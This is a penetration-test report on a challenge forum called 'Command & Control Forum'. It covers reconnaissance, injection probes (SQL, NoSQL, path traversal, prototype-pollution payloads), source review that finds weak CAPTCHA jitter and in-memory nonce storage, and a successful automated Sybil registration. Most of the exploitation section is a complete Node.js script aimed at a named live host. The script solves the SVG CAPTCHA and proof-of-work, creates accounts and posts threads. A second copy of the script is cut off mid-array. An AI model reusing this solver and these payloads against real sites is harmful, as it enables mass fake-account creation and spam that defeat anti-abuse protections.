1. Executive Summary

An offensive security test was conducted against the Command & Control Forum system, a forum platform with a Zero-Trust model implemented at the application layer using asymmetric cryptography (ECDSA P-256), key storage in IndexedDB, vector CAPTCHA, SHA-256 Proof-of-Work, and anti-replay protection via UUIDv4 nonces.

Results

Vulnerabilities Found

2. Methodology

The exploitation followed this flow:

1. RECON → 2. SOURCE ANALYSIS → 3. CAPTCHA SOLVER → 4. PoW SOLVER → 5. REGISTRATION → 6. AUTH → 7. WRITE → 8. NONCE REUSE 

Tools Used

• //Node.js v25.9.0: Runtime for PoCs
• //WebCrypto API (globalThis.crypto.subtle): Generation of ECDSA P-256, PBKDF2, AES-GCM keys
• //Python 3.14: Auxiliary SVG pattern analysis
• //curl.exe: Manual API testing
• //GitHub: Obtaining the complete server source code

3. Phase 1: Reconnaissance

3.1 Initial Identification

The URL https://c2.noir0x63.org/?view=thread-detail&id=9286a2d1377d9970d99029803f3a95b3 revealed a "Command & Control" type forum with a monochromatic terminal aesthetic (neon green on a black background).

Identified Technology Stack

3.2 Main Thread Analysis

GET /api/threads → List of public threads.

A single thread was found: the Manifesto of user Noir, describing the security architecture and presenting 3 explicit challenges:

{ "id": "9286a2d1377d9970d99029803f3a95b3", "title": "Manifesto", "author": "Noir", "category": "announcements", "signature": "/mm0wOHnMw4YlabvuS1F/eCGJ5gup3VQJ+HRo/HHABkMU3dcIo7u0zeSd4drVwsIsVHZLPzu2oPZNWimjYcMGQ==", "public_key_spki": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEhOh3kDAdPf+qlkAZkBUPunhsXaVSh+neWAuv20vjcUL661pnx+sfK4eWEeUCCcI2W8/ttn+PZQP03jEV9SNy3w==" } 

3.3 Endpoint Mapping

All endpoints documented in app.js were systematically tested:

3.4 Security Headers

HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Content-Security-Policy: default-src 'self'; script-src 'self' ... ; style-src 'self' 'unsafe-inline' ... Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 0 

3.5 Rate Limiting Detected

Ratelimit-Limit: 10 Ratelimit-Policy: 10;w=900 Ratelimit-Remaining: 6 Ratelimit-Reset: 654 

• //Auth endpoints: 10 requests / 15 minutes per IP
• //Write endpoints: 20 requests / 1 minute per IP
• //CAPTCHA endpoint: No rate limit (no headers observed)

3.6 Injection Tests

SQL Injection

GET /api/threads?category=' OR 1=1 -- 

Result: No response (probable timeout due to invalid query, not SQL error).

NoSQL Injection

GET /api/threads?search[$gt]= GET /api/threads?search=$gt 

Result: Both returned [] — the server treats $gt as a literal string, not as a MongoDB operator. The database is SQLite, not MongoDB.

Path Traversal

GET /../server.js GET /.env GET /.git/config 

Result: 404 on all. Global path traversal filter detects .. in both raw and decoded URI.

Prototype Pollution via Body

{"__proto__": {"admin": true}, "codename": "test", "password": "..."} 

Result: Not tested against production due to ethical constraints. The express.json() middleware is generally secure against prototype pollution in modern versions.

4. Phase 2: Source Code Reverse Engineering

4.1 Obtaining the Repository

A GitHub search revealed the public repository:

https://github.com/Noir0x63/Command-Control-Forum 

4.2 Repository Structure

Command-Control-Forum/ ├── server.js # Backend Express + SQLite + Socket.io ├── setup.js # CLI para crear cuentas COMMANDER ├── package.json # Dependencias ├── .env # Variables de entorno (no expuesto) ├── server/ │ ├── captcha.js # Sistema CAPTCHA vectorial + PoW │ └── workers/ │ └── hash-worker.js # Worker thread para scrypt └── public/ ├── index.html # SPA shell ├── index.css # Estilos └── app.js # Cliente SPA + criptografía 

4.3 Analysis of server.js

Authentication and Sessions

const token = crypto.randomBytes(32).toString('hex'); res.cookie('token', token, { httpOnly: true, secure: true, sameSite: 'Strict', maxAge: 24 * 60 * 60 * 1000 }); 

Secure: No JWT, no possible manipulation.

Password Hashing

const SCRYPT_PARAMS = Object.freeze({ N: 131072, r: 8, p: 1, maxmem: 256 * 1024 * 1024 }); 

Secure: scrypt with 2026-grade parameters. Verification is offloaded to worker threads.

Persistent Rate Limiting

class SQLiteStore { async increment(key) { } } 

Secure: Prevents bypass via server restarts or limited IP rotation.

ECDSA Signature Verification

function verifyECDSASignature(payload, signatureBase64, publicKeySPKIBase64) { const clean = publicKeySPKIBase64.replace(/[s ]+/g, ''); const pem = \`-----BEGIN PUBLIC KEY----- \${clean.match(/.{1,64}/g).join(' ')} -----END PUBLIC KEY-----\`; const verify = crypto.createVerify('SHA256'); verify.update(payload, 'utf8'); verify.end(); return verify.verify( { key: pem, format: 'pem', type: 'spki', dsaEncoding: 'ieee-p1363' }, Buffer.from(signatureBase64, 'base64') ); } 

Secure: Uses native Node.js crypto.createVerify with dsaEncoding: 'ieee-p1363'. No known vulnerabilities.

Anti-Replay (Nonces)

const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { const now = Date.now(); for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); 

VULNERABLE:

• //Nonces only in RAM (Map), do not persist in DB
• //Cleanup deletes nonces after 5 minutes
• //No UNIQUE constraint on client_nonce in SQLite
• //Allows reuse of documented nonces after ~5 minutes

Shadowban

conditions.push('(t.author = ? OR t.author NOT IN (SELECT codename FROM moderation WHERE status = "SHADOWBANNED"))'); 

Interesting but not directly exploitable: The shadowban allows the affected user to still see their own posts, creating an illusion of normalcy.

4.4 Analysis of captcha.js

Character Set

const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; 

33 characters: I, O, 0, 1 are excluded to avoid visual ambiguity.

Path Templates

Each character is defined as a series of SVG commands in a normalized 0-10 coordinate system:

const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], }; 

Total templates: 33.

Dynamic Generation with Jitter

function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } 

VULNERABLE: The jitter is only ±0.4px, allowing matching with a ±0.5px tolerance. There is no non-linear distortion, random character rotation, or overlapping.

CAPTCHA Token

function createCaptchaToken(text) { const nonce = crypto.randomUUID(); const timestamp = Date.now(); const signature = crypto.createHmac('sha256', CAPTCHA_SECRET) .update(\`\${text.toUpperCase()}:\${timestamp}:\${nonce}\`) .digest('hex'); return \`\${timestamp}:\${nonce}:\${signature}\`; } 

Format: <timestamp>:<uuid>:<hmac-sha256-hex>

Expiration: 3 minutes (Date.now() - timestamp > 180000)

Proof of Work

function verifyPoW(challenge, salt) { const hash = crypto.createHash('sha256').update(challenge + salt).digest('hex'); const target = '0'.repeat(POW_DIFFICULTY); return hash.startsWith(target); } 

Difficulty: 20 bits of entropy (~1M average hashes).

4.5 Analysis of setup.js

Not remotely exploitable: Setup only runs on the physical server, and a COMMANDER ("Noir") already exists.

5. Phase 3: Exploitation — Challenge #2 (Sybil Registration)

5.1 Strategy

┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ 1. CAPTCHA │ ──→ │ 2. PoW │ ──→ │ 3. KeyGen │ ──→ │ 4. PBKDF2 │ │ Solver │ │ Solver │ │ ECDSA │ │ Derivation │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ │ ↓ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ 7. Thread │ ←── │ 6. Login │ ←── │ 5. Register │ ←── │ Encrypt │ │ Create │ │ + Token │ │ Account │ │ PrivKey │ └─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘ 

5.2 CAPTCHA Solver Development

Attempt 1: Feature-Based Heuristic Analysis (FAILED)

An attempt was made to classify characters based on:

• //Number of M commands (movements)
• //Number of L commands (lines)
• //Aspect ratio (width/height)
• //Presence of a middle stroke

Problem: Different characters share the same general features. E.g.: C and G both have 1 M, 4 L, aspect < 0.9.

Result: XDDAD, SGGPK, 8KOTO — 0% success rate.

Attempt 2: Inverse SVG Transform (FAILED)

Three different mathematical interpretations of the SVG transform matrix were implemented:

Fundamental problem: It was incorrectly assumed that the SVG path data was in canvas coordinates (150×50) and needed to be normalized to template coordinates (0-10).

Revelation: After debugging with roundtrip testing (forward → inverse → forward produces the original point), it was discovered that the path data IS ALREADY in template coordinates. The <g> transform only POSITIONS the character on the canvas. No need to invert the transform.

Attempt 3: Direct Path Data Matching (SUCCESSFUL)

function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } 

Accuracy: 100% in tests (all solved CAPTCHAs were accepted by the server).

5.3 PoW Solver Development

function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } 

Performance:

• //Average: ~1M hashes/second
• //Average time: ~1 second
• //Nonces found: 469261, 816718, 1053495, 1213635, 1432492, 2883817

5.4 Key Derivation (Replicating WebCrypto)

The legitimate client process was exactly replicated:

const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const authSalt = enc.encode(\`c2.secure.forum:\${username.toLowerCase()}:auth:v2\`); const authBits = await subtle.deriveBits( { name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)) .map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`c2.secure.forum:\${username.toLowerCase()}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt( { name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; 

5.5 Registration and Authentication

Registration Request

POST /api/auth/register Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1...", "publicKeySPKI": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf...", "email": "", "captchaInput": "9CU2V", "captchaToken": "1782596917718:e19a41b9-939f-49...:33e9340390a037d6cbcc3b4512355cba85f08d8bab3376dc0a6a17efc66e02ab", "powChallenge": "6805e7e04947631a60bd234782922865", "powSalt": "469261" } 

Registration Response (Successful)

HTTP/1.1 201 Created Content-Type: application/json { "success": true } 

Login Request

POST /api/auth/login Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1..." } 

Login Response

HTTP/1.1 200 OK Set-Cookie: token=<session-token>; HttpOnly; Secure; SameSite=Strict Content-Type: application/json { "codename": "xlawt30e4", "role": "AGENT", "token": "3405007bb3f16c45...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf..." } 

5.6 Thread Creation

Request

POST /api/threads Authorization: Bearer 3405007bb3f16c45... Content-Type: application/json { "title": "Sybil Registration Proof", "content": "Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.", "category": "web-security", "signature": "JynLfnou4nTNgVPxAbfeo1AQhq+1br...", "nonce": "ae6e88bc-2325-4ac5-940a-f86422ee20fb", "timestamp": "2026-06-27T22:00:10.940Z" } 

Response

HTTP/1.1 201 Created Content-Type: application/json { "success": true, "id": "f4244f8702e6f0716be618b0a076dfd4" } 

Verification in the Feed

[ { "id": "f4244f8702e6f0716be618b0a076dfd4", "title": "Sybil Registration Proof", "author": "xlawt30e4", "category": "web-security" }, { "id": "9286a2d1377d9970d99029803f3a95b3", "title": "Manifesto", "author": "Noir", "category": "announcements" } ] 

5.7 Errors and Debugging

Error: "CRYPTOGRAPHIC_SIGNATURE_MISMATCH"

Causa: El \`content\` en el payload firmado NO coincidía con el \`content\` en el request body. Solución: Usar la misma variable para ambos (\`con1\`, \`con2\`, etc.) 

Error: "CAPTCHA verification failed" (in initial attempts)

Causa: Heurística de matching demasiado genérica. Solución: Usar templates exactos de CHAR_PATHS extraídos del código fuente. 

Error: Rate limiting (429 Too Many Requests)

Causa: Múltiples intentos de registro en ventana de 15 minutos. Mitigación: Implementar delays entre intentos y limitar a <10 requests/15min. 

Attached Exploit PoCs (Phase 3)

import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; const templates = {}; for (const [char, cmds] of Object.entries(CHAR_PATHS)) { templates[char] = cmds; } function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((resolve, reject) => { const url = new URL(path, API); const opts = { hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', ...extraHeaders, }, }; const req = https.request(opts, (res) => { let d = ''; res.on('data', (c) => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d), raw: d }); } catch { resolve({ status: res.statusCode, headers: res.headers, body: d, raw: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i][1]); const dy = Math.abs(rawPoints[i].y - tpl[i][2]); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } result += best; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function exploit() { console.log('[1] Fetch CAPTCHA'); const cap = await fetchJSON('GET', '/api/auth/captcha'); if (cap.status !== 200) { console.log('FAIL:', cap.body); return; } const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log(\` challenge=\${powChallenge} difficulty=\${powDifficulty}\`); console.log('[2] PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(\` salt=\${powSalt}\`); console.log('[3] CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(\` text=\${captchaText}\`); console.log('[4] KeyGen'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log(\` user=\${username} pass=\${passphrase.substring(0,8)}...\`); console.log('[5] PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt'] ); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const regBody = { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }; const reg = await fetchJSON('POST', '/api/auth/register', regBody); console.log(\` status=\${reg.status}\`, reg.body); if (reg.status === 201) { console.log(' [✓] REGISTERED!'); console.log(' [7] Login'); const login = await fetchJSON('POST', '/api/auth/login', { codename: username, password: authKey }); console.log(\` status=\${login.status}\`); if (login.status === 200) { const token = login.body.token; console.log(\` token=\${token.substring(0,20)}...\`); console.log(' [8] Create thread'); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const title = 'Sybil Registration Proof'; const content = 'Automated registration: PoW SHA-256(dif=5) + SVG vector CAPTCHA + honeypot bypassed. Proof of concept for Challenge #2: Automated Registration (Sybil).'; const payloadObj = { op: 'create-thread', title, content, author: username, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payload)); const signature = Buffer.from(sigBytes).toString('base64'); const thread = await fetchJSON('POST', '/api/threads', { title, content, category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(\` status=\${thread.status}\`, thread.body); if (thread.status === 201) { console.log(' [✓] THREAD CREATED!'); return { username, passphrase, token }; } } } else if (reg.status === 429) { console.log(' RATE LIMITED. Try again later.'); } return null; } exploit().then(r => { if (r) console.log(' Done!'); else console.log(' Failed.'); }).catch(e => console.error('Error:', e)); 

import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 